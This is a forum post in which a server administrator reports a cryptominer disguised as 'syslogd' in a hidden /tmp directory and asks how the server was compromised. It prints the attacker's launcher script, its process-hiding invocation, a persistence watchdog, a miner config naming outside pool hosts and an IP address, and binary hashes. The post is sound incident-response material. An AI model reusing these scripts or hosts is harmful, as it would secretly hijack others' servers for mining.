Bdtyktl

On my server I saw that "syslogd" consumes quite a lot of CPU and runs as a local user "copy:copy" (a valid user in my system). A short investigation revealed that this "syslogd" it was started from here:

ls /tmp/.mysql-2566

-rw-rw-r--   1 copy copy       5 Nov 26 00:53 bash.pid

-rwxrwxr-x   1 copy copy  838583 Feb 20  2016 f

-rwxr-xr-x   1 copy copy    1049 Sep 24 08:45 httpd

-rwxr-xr-x   1 copy copy     276 Sep 24 08:46 r

-rwxr-xr-x   1 copy copy 1687632 Sep 24 07:52 syslogd

-rwxrw-r--   1 copy copy     182 Oct 13 02:53 upd

The process was restarting by itself, the only way to prevent this was to rename the directory.

For sure, all these have nothing in common with syslogd/httpd/mysql.
The files "f" and "syslogd" are binary. And I show below the content of other files for completeness:

[root]# cat r

#!/bin/bash

ARCH=`uname -m`

HIDE="/var/www/httpd2"

hostname=`hostname`

if [ "$ARCH" == "i686" ];       then

        ./e -s $HIDE ./systemd -c httpd >>/dev/null &

elif [ "$ARCH" == "x86_64" ];   then

        ./f -s $HIDE ./syslogd -c httpd >>/dev/null &



fi

echo $! > bash.pid

Next file:

[root]# cat upd

#!/bin/sh

if test -r /tmp/.mysql-2566/bash.pid; then

pid=$(cat /tmp/.mysql-2566/bash.pid)

if $(kill -CHLD $pid >/dev/null 2>&1)

then

exit 0

fi

fi

cd /tmp/.mysql-2566

./r &>/dev/null

And the "config" file:

[root]# cat httpd 

{

    "algo": "cryptonight",

    "api": {

        "port": 0,

        "access-token": null,

        "worker-id": null,

        "ipv6": false,

        "restricted": true

    },

    "av": 0,

    "background": false,

    "colors": true,

    "cpu-priority": null,

    "donate-level": 0,

    "log-file": null,

    "pools": [

        {

            "url": "nopro.online:80",

            "user": "hash",

            "pass": "x",

            "keepalive": true,

            "nicehash": false,

            "variant": -1

        },

        {

            "url": "nopro.xyz:80",

            "user": "hash",

            "pass": "x",

            "keepalive": true,

            "nicehash": false,

            "variant": -1

        },

        {   

            "url": "146.0.253.66:80",

            "user": "hash",

            "pass": "x",

            "keepalive": true,

            "nicehash": false,

            "variant": -1

        }

    ],

    "print-time": 60,

    "retries": 3,

    "retry-pause": 3,

    "safe": false,

    "syslog": false,

    "threads": null

}

Signatures of the binaries:

[root]# sha1sum f syslogd 

59f5b21ef8a570c02453b5edb0e750a42a1382f6  f

f00e1f4c277bdb99319f4c7540e0c5637d5ef07d  syslogd

The server root login is disabled, and the "sudo" user has a strong password.

1. How can I know how the server was hacked?


2. Who (and from where) installs the files into "/tmp/.mysql-2566"?


3. Anyone else who has faced with this kind of problem?

Thanks a lot in advance!